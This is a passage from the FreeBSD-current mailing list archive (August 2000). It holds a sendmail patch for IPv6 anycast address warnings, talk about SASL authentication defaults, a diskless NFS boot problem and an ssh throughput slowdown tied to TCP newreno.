X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Sun, 13 Aug 2000 21:28:20 +0200 (SAT) >>>>> John Hay said: > jhay> There is just an annoying message because of the anycast address: > > jhay> Aug 13 16:38:47 angel sendmail[11947]: gethostbyaddr(3ffe:2900:fffa:4::) failed: 1 > > jhay> Is that because of a configuration error or just because sendmail needs > jhay> to check for anycast addresses? > > sendmail tries to get the hostnames associated with all of it's interfaces > to populate $=w (local host names). The best fix would be to create an > entry in DNS for that address. Perhaps sendmail shouldn't bother warning > on multicast addresses. Can you see if this patch makes the error go away? > jhay> I tried your second patch, but it didn't make a difference. Please try this patch. Index: sendmail-8.11.0/sendmail/conf.c diff -u sendmail-8.11.0/sendmail/conf.c.orig sendmail-8.11.0/sendmail/conf.c --- sendmail-8.11.0/sendmail/conf.c.orig Sun Jul 16 02:35:18 2000 +++ sendmail-8.11.0/sendmail/conf.c Mon Aug 14 05:34:18 2000 @@ -4771,6 +4771,11 @@ # undef __P # endif /* (_AIX4 >= 40300) && !defined(_NET_IF_H) */ # include +#if NETINET6 && !defined(SIOCGLIFCONF) +# include +# include +# include +#endif /* NETINET6 && !SIOCGLIFCONF */ #endif /* defined(SIOCGIFCONF) && !SIOCGIFCONF_IS_BROKEN */ void @@ -5009,6 +5014,9 @@ # if NETINET6 char *addr; struct in6_addr ia6; +# ifdef SIOCGIFAFLAG_IN6 + struct in6_ifreq ifr6; +# endif /* SIOCGIFAFLAG_IN6 */ # endif /* NETINET6 */ struct in_addr ia; # ifdef SIOCGIFFLAGS @@ -5093,6 +5101,22 @@ addr == NULL ? "(NULL)" : addr); continue; } + +# ifdef SIOCGIFAFLAG_IN6 + memset(&ifr6, '\0', sizeof(struct in6_ifreq)); + strncpy(ifr6.ifr_name, ifr->ifr_name, + sizeof(ifr->ifr_name)); + ifr6.ifr_addr = sa->sin6; + if (ioctl(s, SIOCGIFAFLAG_IN6, &ifr6) < 0) + { + if (tTd(0, 4)) + dprintf("SIOCGLIFFLAGS failed: %s\n", + errstring(errno)); + continue; + } + if (ifr6.ifr_ifru.ifru_flags6 & IN6_IFF_ANYCAST) + continue; +# endif /* SIOCGIFAFLAG_IN6 */ /* save IP address in text from */ addr = anynet_ntop(&ia6, buf6, sizeof buf6); -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 14: 2:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from thelab.hub.org (nat202.213.mpoweredpc.net [142.177.202.213]) by hub.freebsd.org (Postfix) with ESMTP id 9347937B6EA; Sun, 13 Aug 2000 14:02:10 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.3/8.9.3) with ESMTP id RAA81297; Sun, 13 Aug 2000 17:58:53 -0300 (ADT) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Sun, 13 Aug 2000 17:58:52 -0300 (ADT) From: The Hermit Hacker To: Neil Blakey-Milner Cc: "Kurt D. Zeilenga" , Johan Granlund , Gregory Neil Shapiro , "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <20000813195932.A78743@mithrandr.moria.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 13 Aug 2000, Neil Blakey-Milner wrote: > On Sun 2000-08-13 (10:48), Kurt D. Zeilenga wrote: > > At 06:53 PM 8/13/00 +0200, Neil Blakey-Milner wrote: > > >On Sun 2000-08-13 (09:20), Kurt D. Zeilenga wrote: > > >> >A make.conf knob to use a userinstalled library may create problems with > > >> >different versions of Cysus-SASL. I had some problems with that when > > >> >uppgrading my mailservers to Sendmail 8.10. > > >> > > >> I'd recommend bringing Cyrus-SASL into the base system eventually > > >> under the same rational used to bring OpenSSL in. > > > > > >What are the license issues on this? > > > > None worse than those associated with OpenSSL. > > Ah, it seems to be a simplistic BSD-like license. For a second I > thought it might be a non-commercial one, like cyrus-imapd has in some > areas. Actually, I'm on the Cyrus-IMAPd mailing list and am *certain* that they just removed the 'non commercial' stuff and moved to a more BSDish license ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 14:26:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from daemon.solid.se (daemon.solid.se [193.15.190.194]) by hub.freebsd.org (Postfix) with ESMTP id 3835C37B748; Sun, 13 Aug 2000 14:26:08 -0700 (PDT) (envelope-from johan@granlund.nu) Received: from phoenix.granlund.nu (t1o90p108.telia.com [195.67.216.108]) (authenticated) by daemon.solid.se (8.10.1/8.10.1) with ESMTP id e7DLPvm01677; Sun, 13 Aug 2000 23:25:57 +0200 (CEST) Received: from localhost (johan@localhost) by phoenix.granlund.nu (8.10.1/8.10.1) with ESMTP id e7DLPdY89057; Sun, 13 Aug 2000 23:25:40 +0200 (CEST) Date: Sun, 13 Aug 2000 23:25:39 +0200 (CEST) From: Johan Granlund To: Hajimu UMEMOTO Cc: Kurt@OpenLDAP.org, gshapiro@FreeBSD.ORG, hetzels@westbend.net, freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <20000814.014009.55515200.ume@mahoroba.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 14 Aug 2000, Hajimu UMEMOTO wrote: > >>>>> On Sun, 13 Aug 2000 09:20:05 -0700 > >>>>> "Kurt D. Zeilenga" said: > > Kurt> At 01:49 PM 8/13/00 +0200, Johan Granlund wrote: > >I think we have to support rfc2554 autenthication (With MECH LOGIN for > >Outlook) out of the box if we are serius about mailserver and security. > > Kurt> If you're serious about security, you shouldn't support LOGIN (or PLAIN) > Kurt> unless adequate privacy protections are in place. If you're serious > Kurt> about standards, you won't support LOGIN. > > I think so. > Further worse, once PLAIN is activated by sendmail, netscape try to > use AUTH, in anyway. If the user isn't registered in SASL db, the > user cannot send mail anymore. That is, once you decide to use PLAIN, > you must register all of your users in SASL db. I agree that PLAIN/LOGIN should not be enabled by default as it is inherently insecure and should not be encouraged. It can easyly be enabled in a custom .mc file, if wanted, with define(`confAUTH_MECHANISMS', `')dnl define(`confTRUST_AUTH_MECH', `')dnl The snag is that is has to be enabled in the build of the SASL library. The same with KerberosIV and GSSAPI depending of what is installed. N.B This is for 8.10. I havent looked if it has changed for 8.11. If autentication is enabled with SASL, support should be added to adduser/rmuser, or we will have a supportbomb when locally defined user cant send mail remotely. > > -- > Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan > ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org > http://www.imasy.org/~ume/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 14:41:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id C7BAC37B65D for ; Sun, 13 Aug 2000 14:41:38 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id PAA19528; Sun, 13 Aug 2000 15:41:37 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id PAA10229; Sun, 13 Aug 2000 15:40:59 -0600 (MDT) Message-Id: <200008132140.PAA10229@harmony.village.org> To: Mike Meyer Subject: Re: Build breakage (was: fail to compile kernel...) Cc: freebsd-current@FreeBSD.ORG In-reply-to: Your message of "Sun, 13 Aug 2000 15:07:56 CDT." <14743.28.213436.747232@guru.mired.org> References: <14743.28.213436.747232@guru.mired.org> <14742.23628.110336.924637@guru.mired.org> <14742.15675.412839.269577@guru.mired.org> <14742.14082.837564.871879@guru.mired.org> <200008130553.XAA06673@harmony.village.org> <200008130714.BAA07153@harmony.village.org> <200008131542.JAA08725@harmony.village.org> Date: Sun, 13 Aug 2000 15:40:59 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <14743.28.213436.747232@guru.mired.org> Mike Meyer writes: : Pointing fingers isn't the difference I was talking about. It's more : in the attitude after the fact. On FreeBSD, it's "Ok, I fixed : it." Elsewhere, people apologize for breaking the bulid. I sent out a message at the time saying I'm sorry for the breakage and I've fixed it. when it came up again, I just said that I;d fixed it. You're right. I shouldn't have sounded so... so... blasse about it. Warner "pass the connical hat" Losh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 15: 6:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id CB48C37B68C; Sun, 13 Aug 2000 15:06:33 -0700 (PDT) (envelope-from ume@mahoroba.org) Received: from localhost (IDENT:ErRe+bjvZ4RzVXgm/J+6oPjT3Evd5UcmkDZ6iXO2ZSbE80RY+QhY/inzN0nZk/KM@localhost [::1]) (authenticated) by peace.mahoroba.org (8.11.0/8.11.0/peace) with ESMTP/inet6 id e7DM5Mb21586; Mon, 14 Aug 2000 07:05:23 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Mon, 14 Aug 2000 07:05:17 +0900 (JST) Message-Id: <20000814.070517.08313193.ume@mahoroba.org> To: jhay@icomtek.co.za Cc: gshapiro@gshapiro.net, gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current From: Hajimu UMEMOTO In-Reply-To: <20000814.054434.115900410.ume@mahoroba.org> References: <14742.61852.184466.543141@horsey.gshapiro.net> <200008131928.e7DJSKg20282@zibbi.mikom.csir.co.za> <20000814.054434.115900410.ume@mahoroba.org> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ume> Please try this patch. ume> Index: sendmail-8.11.0/sendmail/conf.c ume> diff -u sendmail-8.11.0/sendmail/conf.c.orig sendmail-8.11.0/sendmail/conf.c Oops, previous patch is insufficient. I forgot to open INET6 socket. Index: sendmail-8.11.0/sendmail/conf.c diff -u sendmail-8.11.0/sendmail/conf.c.orig sendmail-8.11.0/sendmail/conf.c --- sendmail-8.11.0/sendmail/conf.c.orig Sun Jul 16 02:35:18 2000 +++ sendmail-8.11.0/sendmail/conf.c Mon Aug 14 06:52:16 2000 @@ -4771,6 +4771,11 @@ # undef __P # endif /* (_AIX4 >= 40300) && !defined(_NET_IF_H) */ # include +#if NETINET6 && !defined(SIOCGLIFCONF) +# include +# include +# include +#endif /* NETINET6 && !SIOCGLIFCONF */ #endif /* defined(SIOCGIFCONF) && !SIOCGIFCONF_IS_BROKEN */ void @@ -4958,6 +4963,9 @@ #else /* NETINET6 && defined(SIOCGLIFCONF) */ # if defined(SIOCGIFCONF) && !SIOCGIFCONF_IS_BROKEN int s; +#if NETINET6 && defined(SIOCGIFAFLAG_IN6) + int s6; +#endif /* NETINET6 && SIOCGIFAFLAG_IN6 */ int i; struct ifconf ifc; int numifs; @@ -4996,6 +5004,10 @@ return; } +#if NETINET6 && defined(SIOCGIFAFLAG_IN6) + s6 = socket(AF_INET6, SOCK_DGRAM, 0); +#endif /* NETINET6 && SIOCGIFAFLAG_IN6 */ + /* scan the list of IP address */ if (tTd(0, 40)) dprintf("scanning for interface specific names, ifc_len=%d\n", @@ -5009,6 +5021,9 @@ # if NETINET6 char *addr; struct in6_addr ia6; +# ifdef SIOCGIFAFLAG_IN6 + struct in6_ifreq ifr6; +# endif /* SIOCGIFAFLAG_IN6 */ # endif /* NETINET6 */ struct in_addr ia; # ifdef SIOCGIFFLAGS @@ -5094,6 +5109,22 @@ continue; } +# ifdef SIOCGIFAFLAG_IN6 + memset(&ifr6, '\0', sizeof(struct in6_ifreq)); + strncpy(ifr6.ifr_name, ifr->ifr_name, + sizeof(ifr->ifr_name)); + ifr6.ifr_addr = sa->sin6; + if (s6 < 0 || ioctl(s6, SIOCGIFAFLAG_IN6, &ifr6) < 0) + { + if (tTd(0, 4)) + dprintf("SIOCGIFAFLAG_IN6 failed: %s\n", + errstring(errno)); + continue; + } + if (ifr6.ifr_ifru.ifru_flags6 & IN6_IFF_ANYCAST) + continue; +# endif /* SIOCGIFAFLAG_IN6 */ + /* save IP address in text from */ addr = anynet_ntop(&ia6, buf6, sizeof buf6); if (addr != NULL) @@ -5123,6 +5154,10 @@ } free(ifc.ifc_buf); (void) close(s); +# if NETINET6 && defined(SIOCGIFAFLAG_IN6) + if (s6 >= 0) + (void) close(s6); +# endif /* NETINET6 && SIOCGIFAFLAG_IN6 */ # undef IFRFREF # endif /* defined(SIOCGIFCONF) && !SIOCGIFCONF_IS_BROKEN */ #endif /* NETINET6 && defined(SIOCGLIFCONF) */ -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 20:14:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from hse-toronto-ppp119263.sympatico.ca (Toronto-ppp80875.sympatico.ca [216.209.16.254]) by hub.freebsd.org (Postfix) with SMTP id 990E737BA4D for ; Sun, 13 Aug 2000 20:14:06 -0700 (PDT) (envelope-from rbt@zort.on.ca) Received: (qmail 12291 invoked by uid 0); 14 Aug 2000 03:15:03 -0000 Received: from peon185.zort.on.ca (HELO zort.on.ca) (10.0.0.185) by toronto-ppp80875.sympatico.ca with SMTP; 14 Aug 2000 03:15:03 -0000 Message-ID: <399764D1.5BBD4B5A@zort.on.ca> Date: Sun, 13 Aug 2000 23:17:37 -0400 From: Rod Taylor X-Mailer: Mozilla 4.74 [en] (X11; U; FreeBSD 4.1-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-current@freebsd.org Subject: Problems with stable (believed to be in -current as well) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My server functions properly (harddrives inside). My diskless machines (mounting same filesystems via NFS) are having problems. Thanks in advance. bash-2.03$ top top: nlist failed bash-2.03$ vmstat vmstat: undefined symbols: _cp_time _kmemstatistics _bucket _zlist Occurs with both 4.0 and 4.1 (and various in between stages). As a related item, harddrives used in LARGE mode can cause the same problem until changed to LBA. df output --------- bash-2.03$ df Filesystem 1K-blocks Used Avail Capacity Mounted on 10.0.0.2:/ 396895 136078 229066 37% / mfs:97 2943 886 1822 33% /conf/etc /conf/etc 2943 886 1822 33% /etc procfs 4 4 0 100% /proc mfs:117 1951 123 1672 7% /var mfs:131 1511 50 1341 4% /dev 10.0.0.2:/usr 2977230 1617820 1121232 59% /usr 10.0.0.2:/devel/archive 14757968 10399126 3178205 77% /devel/archive 10.0.0.2:/devel/archive2 6216820 5300977 418498 93% /devel/archive2 10.0.0.2:/usr/home 7995310 852075 6503611 12% /usr/home dmesg output ------------ Copyright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.1-STABLE #0: Mon Aug 7 11:17:37 EDT 2000 rbt@knight.zort.on.ca:/devel/archive2/obj/devel/archive2/src/sys/DISKLESS Timecounter "i8254" frequency 1193182 Hz CPU: AMD-K6(tm) 3D processor (400.91-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x58c Stepping = 12 Features=0x8021bf AMD Features=0x80000800 real memory = 268435456 (262144K bytes) avail memory = 258564096 (252504K bytes) K6-family MTRR support enabled (2 registers) md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib2: at device 1.0 on pci0 pci1: on pcib2 pci1: at 0.0 irq 11 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xe000-0xe00f at device 7.1 on pci0 pci0: at 9.0 irq 10 pcm0: port 0xe800-0xe83f irq 12 at device 10.0 on pci0 xl0: <3Com 3c905-TX Fast Etherlink XL> port 0xec00-0xec3f irq 5 at device 11.0 on pci0 xl0: Ethernet address: 00:60:97:de:4e:38 miibus0: on xl0 nsphy0: on miibus0 nsphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto pcib1: on motherboard pci2: on pcib1 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 bootpc_init: wired to interface 'xl0' bootpc_init: using network interface 'xl0' Bootpc testing starting bootpc hw address is 0:60:97:de:4e:38 My ip address is 10.0.0.185 Server ip address is 10.0.0.2 Gateway ip address is 0.0.0.0 Server name is king.zort.on.ca boot file is /kernel.diskless Subnet mask is 255.0.0.0 Router is 10.0.0.1 Ignoring field type 15 rootfs is 10.0.0.2:/ Ignoring field type 28 Mounting root from nfs: NFS ROOT: 10.0.0.2:/ -- Rod Taylor "People get annoyed when you try to debug them." -- Larry Wall, 2nd State of the Onion. "A + B + C = Success if, A = Hard Work, B = Hard Play, C = Keeping your mouth shut." -- Albert Einstein -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 20:44:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from hse-toronto-ppp119263.sympatico.ca (Toronto-ppp80875.sympatico.ca [216.209.16.254]) by hub.freebsd.org (Postfix) with SMTP id 7ED5337B94C for ; Sun, 13 Aug 2000 20:44:42 -0700 (PDT) (envelope-from rbt@zort.on.ca) Received: (qmail 12391 invoked by uid 0); 14 Aug 2000 03:45:39 -0000 Received: from peon185.zort.on.ca (HELO zort.on.ca) (10.0.0.185) by toronto-ppp80875.sympatico.ca with SMTP; 14 Aug 2000 03:45:39 -0000 Message-ID: <39976BFC.4C2539B1@zort.on.ca> Date: Sun, 13 Aug 2000 23:48:12 -0400 From: Rod Taylor X-Mailer: Mozilla 4.74 [en] (X11; U; FreeBSD 4.1-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Wesley Morgan , freebsd-current@freebsd.org Subject: Re: Problems with stable (believed to be in -current as well) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wesley Morgan wrote: > > On Sun, 13 Aug 2000, Rod Taylor wrote: > > > My server functions properly (harddrives inside). My diskless machines > > (mounting same filesystems via NFS) are having problems. Thanks in > > advance. > > > > bash-2.03$ top > > top: nlist failed > > > > If you installed a new kernel and have the original (or close to > it) world, make world now. It's a perfectly matched kernel and world. This is what I attempted to show by stating that the diskless box and server run on the same filesystem. One mounted from the other. Server works, diskless boxes don't. (Yes, they've all been rebooted since then). -- Rod Taylor "People get annoyed when you try to debug them." -- Larry Wall, 2nd State of the Onion. "A + B + C = Success if, A = Hard Work, B = Hard Play, C = Keeping your mouth shut." -- Albert Einstein -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 21: 7:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from hse-toronto-ppp119263.sympatico.ca (Toronto-ppp80875.sympatico.ca [216.209.16.254]) by hub.freebsd.org (Postfix) with SMTP id 264D737B901 for ; Sun, 13 Aug 2000 21:07:52 -0700 (PDT) (envelope-from rbt@zort.on.ca) Received: (qmail 12515 invoked by uid 0); 14 Aug 2000 04:08:50 -0000 Received: from peon185.zort.on.ca (HELO zort.on.ca) (10.0.0.185) by toronto-ppp80875.sympatico.ca with SMTP; 14 Aug 2000 04:08:50 -0000 Message-ID: <3997716B.2E3B43E9@zort.on.ca> Date: Mon, 14 Aug 2000 00:11:23 -0400 From: Rod Taylor X-Mailer: Mozilla 4.74 [en] (X11; U; FreeBSD 4.1-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Sean O'Connell , freebsd-current@freebsd.org Subject: Re: Problems with stable (believed to be in -current as well) References: <39976BFC.4C2539B1@zort.on.ca> <20000813235147.C41638@stat.Duke.EDU> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sean O'Connell wrote: > > Rod Taylor stated: > : Wesley Morgan wrote: > : > > : > On Sun, 13 Aug 2000, Rod Taylor wrote: > : > > : > > My server functions properly (harddrives inside). My diskless machines > : > > (mounting same filesystems via NFS) are having problems. Thanks in > : > > advance. > : > > > : > > bash-2.03$ top > : > > top: nlist failed > : > > > : > > : > If you installed a new kernel and have the original (or close to > : > it) world, make world now. > : > : It's a perfectly matched kernel and world. This is what I attempted to > : show by stating that the diskless box and server run on the same > : filesystem. One mounted from the other. Server works, diskless boxes > : don't. (Yes, they've all been rebooted since then). > > Is the kernel beining netbooted identical to the one in the exported > diskless partition? I would make sure that the kernel image in hte > root of the exported filesystem is the same. I can netboot for inst- > allation purposes from a floppy. I just have to be careful to keep > the same kernel and etc files in sync (I install into a /netboot > directory using: setenv DESTDIR /netboot; make installworld ... ). No, they're not identical. However I created it, and moved it to it's proper place. Being as make installkernel KERNEL=FEH seems to ignore the whole: makeoptions KERNEL=kernel.diskless seems to be completely ignored. > The other way this problem can occur is if you load your kernel from > the boot blocks (??) rather than from /boot/loader. I'm unsure as to how a network boot even considers bootblocks or loaders. It's coming from across the network via etherboot. Although the etherboot client is currently on a floppy on most boxes (Bad EProm burner). -- Rod Taylor "People get annoyed when you try to debug them." -- Larry Wall, 2nd State of the Onion. "A + B + C = Success if, A = Hard Work, B = Hard Play, C = Keeping your mouth shut." -- Albert Einstein -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 21: 9:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with SMTP id 67B4537B9E4 for ; Sun, 13 Aug 2000 21:09:11 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115211>; Mon, 14 Aug 2000 14:09:05 +1000 Content-return: prohibited Date: Mon, 14 Aug 2000 14:09:01 +1000 From: Peter Jeremy Subject: Re: Slow ssh throughput with -current In-reply-to: <00Aug10.153604est.115242@border.alcanet.com.au>; from peter.jeremy@alcatel.com.au on Thu, Aug 10, 2000 at 03:36:01PM +1000 To: current@FreeBSD.ORG Mail-followup-to: current@FreeBSD.ORG Message-Id: <00Aug14.140905est.115211@border.alcanet.com.au> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.4i References: <00Aug10.153604est.115242@border.alcanet.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-Aug-10 15:36:01 +1000, Peter Jeremy wrote: >I just noticed a really peculiar network slowdown with -current from >about a week ago. The machine has two NICs - an old 16-bit SMC card >(ed0) running 10baseT and a PCI SMC card (tx0) running 100baseTX full >duplex. > >When I scp (either ssh-1.2.27 or OpenSSH) to a remote machine via ed0, >I get a throughput of ~8KB/sec. When I go via tx0, I get ~3MB/sec >(CPU limited). If I use ftp via ed0, I get wire speed (just over >1MB/sec). Having done some more tests, and a bit more digging, I've found the culprit is net.inet.tcp.newreno. When set to 1 (the default), ssh (but not FTP) connections to hosts not on the same subnet (as determined by in_localaddr()) have an effective window size of 1 MSS. Unfortunately, I can't see any obvious reason why initialising maxburst to 4 results in only a single packet on each call to tcp_output() for ssh connections. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 23: 2: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id F3A9737B85B; Sun, 13 Aug 2000 23:01:57 -0700 (PDT) (envelope-from jhay@zibbi.mikom.csir.co.za) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.10.1/8.10.1) id e7E61ff33630; Mon, 14 Aug 2000 08:01:41 +0200 (SAT) From: John Hay Message-Id: <200008140601.e7E61ff33630@zibbi.mikom.csir.co.za> Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <20000814.070517.08313193.ume@mahoroba.org> from Hajimu UMEMOTO at "Aug 14, 2000 07:05:17 am" To: ume@mahoroba.org (Hajimu UMEMOTO) Date: Mon, 14 Aug 2000 08:01:41 +0200 (SAT) Cc: gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yes, this fix it. I don't see the message anymore and it still works too. :-) Thanks. John -- John Hay -- John.Hay@icomtek.csir.co.za > ume> Please try this patch. > > ume> Index: sendmail-8.11.0/sendmail/conf.c > ume> diff -u sendmail-8.11.0/sendmail/conf.c.orig sendmail-8.11.0/sendmail/conf.c > > Oops, previous patch is insufficient. I forgot to open INET6 socket. > > Index: sendmail-8.11.0/sendmail/conf.c > diff -u sendmail-8.11.0/sendmail/conf.c.orig sendmail-8.11.0/sendmail/conf.c > --- sendmail-8.11.0/sendmail/conf.c.orig Sun Jul 16 02:35:18 2000 > +++ sendmail-8.11.0/sendmail/conf.c Mon Aug 14 06:52:16 2000 > @@ -4771,6 +4771,11 @@ > # undef __P > # endif /* (_AIX4 >= 40300) && !defined(_NET_IF_H) */ > # include > +#if NETINET6 && !defined(SIOCGLIFCONF) > +# include > +# include > +# include > +#endif /* NETINET6 && !SIOCGLIFCONF */ > #endif /* defined(SIOCGIFCONF) && !SIOCGIFCONF_IS_BROKEN */ > > void > @@ -4958,6 +4963,9 @@ > #else /* NETINET6 && defined(SIOCGLIFCONF) */ > # if defined(SIOCGIFCONF) && !SIOCGIFCONF_IS_BROKEN > int s; > +#if NETINET6 && defined(SIOCGIFAFLAG_IN6) > + int s6; > +#endif /* NETINET6 && SIOCGIFAFLAG_IN6 */ > int i; > struct ifconf ifc; > int numifs; > @@ -4996,6 +5004,10 @@ > return; > } > > +#if NETINET6 && defined(SIOCGIFAFLAG_IN6) > + s6 = socket(AF_INET6, SOCK_DGRAM, 0); > +#endif /* NETINET6 && SIOCGIFAFLAG_IN6 */ > + > /* scan the list of IP address */ > if (tTd(0, 40)) > dprintf("scanning for interface specific names, ifc_len=%d\n", > @@ -5009,6 +5021,9 @@ > # if NETINET6 > char *addr; > struct in6_addr ia6; > +# ifdef SIOCGIFAFLAG_IN6 > + struct in6_ifreq ifr6; > +# endif /* SIOCGIFAFLAG_IN6 */ > # endif /* NETINET6 */ > struct in_addr ia; > # ifdef SIOCGIFFLAGS > @@ -5094,6 +5109,22 @@ > continue; > } > > +# ifdef SIOCGIFAFLAG_IN6 > + memset(&ifr6, '\0', sizeof(struct in6_ifreq)); > + strncpy(ifr6.ifr_name, ifr->ifr_name, > + sizeof(ifr->ifr_name)); > + ifr6.ifr_addr = sa->sin6; > + if (s6 < 0 || ioctl(s6, 